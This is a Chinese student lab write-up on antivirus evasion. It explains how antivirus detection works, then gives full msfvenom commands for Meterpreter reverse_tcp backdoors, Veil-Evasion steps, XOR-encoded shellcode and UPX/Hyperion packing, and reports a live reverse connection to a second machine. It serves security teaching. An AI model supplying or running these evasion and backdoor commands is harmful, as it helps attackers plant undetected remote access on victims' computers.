20165310 NetSec2019 Week5 Exp3 免杀原理与实践
20165310 NetSec2019 Week5 Exp3 免杀原理与实践
一、免杀原理
杀软是如何检测出恶意代码的
- 基于特征码的检测:特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它作为恶意程序处理。
- 启发式恶意软件检测:杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。
- 基于行为的恶意软件检测:是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,例如修改注册表等,则会把它当成恶意软件。
免杀是做什么?
- 对恶意软件进行不影响它功能的各种方法操作,如编码、加壳等处理,使他的特征码改变,或是捆绑正常应用等,逃过杀毒软件的扫描
免杀的基本方法有哪些?
- 改变特征码 :如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其他语言重写再编译。
- 第二种是改变行为:如在通讯中尽量使用反弹式连接、使用隧道技术、加密通讯数据等等,在操作中基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
- 第三种是非常规方法:如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。
二、实验内容
- 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程
- 通过组合应用各种技术实现恶意代码免杀
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
任务一、使用msf编码器msfvenom生成后门程序
使用msf命令生成后门程序:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod1.exe
- 其中,
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
- 在virscan与VirusTotal中扫描结果分别如下:
可以看出来查出率有一半多,免杀效果很差
- 其中,
尝试利用msf的多次编码参数
-i
来进行多次编码,提高免杀效果:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.154.151 LPORT=5310 -f exe > msf-CEncod2.exe
- 免杀扫描结果如下:
可以发现甚至扫描几乎不变,甚至反而变多了,效果并不好。
尝试生成别的类型的文件进行免杀操作
生成jar类型的后门:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 x> msf_JarEncode.jar
扫描结果如下:
在virscan中结果明显比exe文件减少很多,但是在VirusTotal中差不多
任务二、使用veil-evasion生成后门程序及检测
Veil-Evasion的安装
- 安装veil-evasion:
apt-get install evil-evation
- 过程中需安装一系列依赖例如wine等,安装成功后可以看到如下界面:
- 安装veil-evasion:
利用Veil生成C语言免杀后门:
- 命令
use evasion
进入evil-evasion,命令list
可以查看能编写哪些种类的后门
- 我们选择C语言的tcp反连接后门:
use 7
(7为list中的对应序号)
- 进行参数设置:
- 生成免杀后门软件成功,命名为
veil_CEncode.exe
- 进行扫描查看免杀效果
可以看出免杀效果没有明显提高,对比去年学长学姐的博客,效果明显变差,推测应该是病毒库更新的原因。
- 命令
任务三、半手工注入Shellcode并执行
本机实验
- 利用msf生成一段C语言的shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.154.151 LPORT=5310 -f c
- 利用msf生成一段C语言的shellcode:
进行了C语言的异或编码,试图让他逃脱杀软的扫描,验证编码是否正确:
- 例行扫描:
效果比上面的工具似乎好一点,但没有明显改善,简单的异或编码已经骗不过杀软了,下回尝试加密,如果成功再更新。
- 尝试回连,查看是否经过异或加密的shellcode还能正常工作,没有优先尝试加密的原因正是因为加密后再解密的shellcode容易失效
另外的真机回连
IP改变,重新生成shellcode:
生成可执行文件,发送给对方执行并回连,exploit等待:
对方执行文件,回连成功:
执行命令
dir
确认连接成功:腾讯安全管家扫描没有扫出
任务四、加壳
对上面第一个半手工shellcode进行UPX加壳,减少文件体积 :
对半手工生成的shellcode加upx壳
扫描结果:
查出来的杀软数目反而增多,应该是upx的特征码被录入了病毒库,下面再加一层加密壳验证一下自己的看法
利用wine模拟Windows环境,运行hyperion.exe进行加壳
进行扫描:
被扫描出的结果更多,可以验证上面的想法,著名加壳工具只会增加被发现概率,建议自己加花指令或者改壳。
任务五、听说pathon-evasion挺好用
为了能够嵌入汇编语言,选择了C语言对shellcode进行处理,加密解密没有现成的库简直要了命= =,于是贼心不死还是想找个工具,于是安装了听说很好用的pathon-evasion,但是不得不说安装和evil-evasion一样麻烦。
经过一系列复杂的异或与多线程等操作之后,生成了exe送去扫描:
可以看见结果稍有好转,但是没有理想中那么好,查看扫描结果发现,pathon本身特征码已经被杀软锁定了,甚至不需要扫描文件本身,直接可以断定是恶意代码,大概是曾经太好用了,可见很多杀毒软件更新还是可靠并且快的。
但是还是有优点的,之前生成的所有恶意软件没有能够逃过火绒的扫描,但是这款生成的软件成功没有被发现(*_phan.exe文件都没有被扫出)
总的来说,国内主流杀软病毒库,就本次扫描结果来说360>火绒>腾讯,但个人使用感火绒>360=腾讯,所以最后还是选择了火绒,希望它病毒库能更新的快一点吧。
三、遇到问题与实验感想
1、遇到的问题:
Veil-Evasion安装失败
- 建议先执行
apt-get upgrade
操作,进行后成功率高了很多 - 事实上即便更新后,安装仍然中断许多次,那就多试几次吧
- 如果报错但是还是完成了安装,不妨试着运行一下,我最终安装有报错但是能正常运行,估计原因是前几次虽然安装失败但有些配置已经配置好了,正好是最后一次失败的配置。
- 建议先执行
ping不通别人的真机
- 虚拟机网络设置改为桥接模式
- 对方关闭防火墙
回连不成功
- 尝试了n次生成不同的shellcode,再编译成可执行文件
- 查看进程和端口都没问题
- 突然就成功了大概是个玄学,多试几次吧,加油,感觉验收又会死在这个上面很久,god bless me。
2、实验收获与感想
本次试验扫描出来最少的样品其实是veil生成的一个python的回连脚本,但是由于我没有使用py2exe,并不能确定生成exe可执行文件后是否不会被扫描,但是根据msf生成的Java的扫描结果,似乎都比c语言要具有一定的优势。
简陋的半手动shellcode生成可执行文件依然比过于大众的免杀工具好用,例如:加upx的壳与veil的C语言后门,以及msf生成的源码。
可以大胆猜测一下,如果要做到真正的免杀,半手动的py/jar进行处理+部分小众工具会有奇效,要是能自己生成shellcode或许更好,总而言之就是要改变特征码与哈希值。
如果要避免动态监测,绑定正常程序或者以正常程序为模板或者生成恶意dll调用,会比单独的恶意软件好很多。
虽然火绒病毒库不够新,依然不能阻止我爱他的使用感。
很多想法想验证,但是我来不及了,时间太少了,枯了。
20165310 NetSec2019 Week5 Exp3 免杀原理与实践的更多相关文章
- NetSec2019 20165327 Exp3 免杀原理与实践
NetSec2019 20165327 Exp3 免杀原理与实践 pre基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5
<网络对抗技术>Exp3 免杀原理与实践 Week5 一.实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shell ...
- 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233
Exp3 免杀原理与实践 实验内容 一.基础问题回答 1.杀软是如何检测出恶意代码的? 基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的. 启发式的软件检测:就是根据些片面特征去推断.通常是 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- JAVA编程思想学习笔记2-chap4-6-斗之气2段
1.foreach:只能用于数组与容器 2.this指针:内部有个指针指向自己 3.super指针:内部有个指针指向父类部分 4.方法存放于代码区:方法调用时,a.fun()可能会被转换为fun(a) ...
- myeclipse修改了安装目录名字打不开解决方法
在MyEclipse XX目录下有一个MyEclipse.ini的文件,里面既有相对路径,又有绝对路径,修改绝对路径指向新的位置即可 来源:http://www.iteye.com/problems/ ...
- 用log4net记录日志信息
在.net中用log4net记录日志信息,已经是很平常的事情了. log4net下载:http://logging.apache.org/log4net/download_log4net.cgi 百度 ...
- 记录一则expdp任务异常处理案例
环境:AIX 6.1 + Oracle 10.2.0.4 现象:在XTTS迁移测试阶段,遇到执行几个expdp的导出任务,迟迟没有返回任何信息,对应日志无任何输出,查看任务状态: SQL> se ...
- 关于随机数、方法重载和System.out.println()的认识
(1)使用纯随机数发生器编写一个指定数目内数字的程序(类真随机数) 源代码: package Demo1; public class trueRandom { long Multiplier = 45 ...
- Python记录8:函数的嵌套
#函数的嵌套分为两类:# 1.函数的嵌套定义: 在函数内部又定义了一个函数# def foo():# x=1# # print(x)# def bar():# print('from bar')## ...
- JavaScript三种判断语句和三元运算符
三种判断语句 1.if结构 语法:if(条件){条件满足时执行的代码块} 2.if else结构 语法:if(条件){条件满足时执行的代码块} else{条件不满足时执行的代码块} 3.if el ...
- MySql语句分类
SQL语言分为四大类:数据定义语言DDL,数据查询语言DQL,数据操作语言DML,数据控制语言DCL [1]数据定义语言DDL 数据定义语言DDL,用于创建.修改.删除数据库内的数据结构.如下: (1 ...
- Mini-Batch 、Momentum、Adam算法的实现
Mini-Batch 1. 把训练集打乱,但是X和Y依旧是一一对应的 import numpy as np a = np.random.randn(3,3) print(a) b = list(np. ...
- 20165305 苏振龙《Java程序设计》第九周学习总结
第十三章 Java网络编程 学习了解用于网络编程的类,了解URL.Socket.InetAddress和DatagramSocket类在网络编程中的重要作用 使用URL创建对象的应用程序称作客户端程序 ...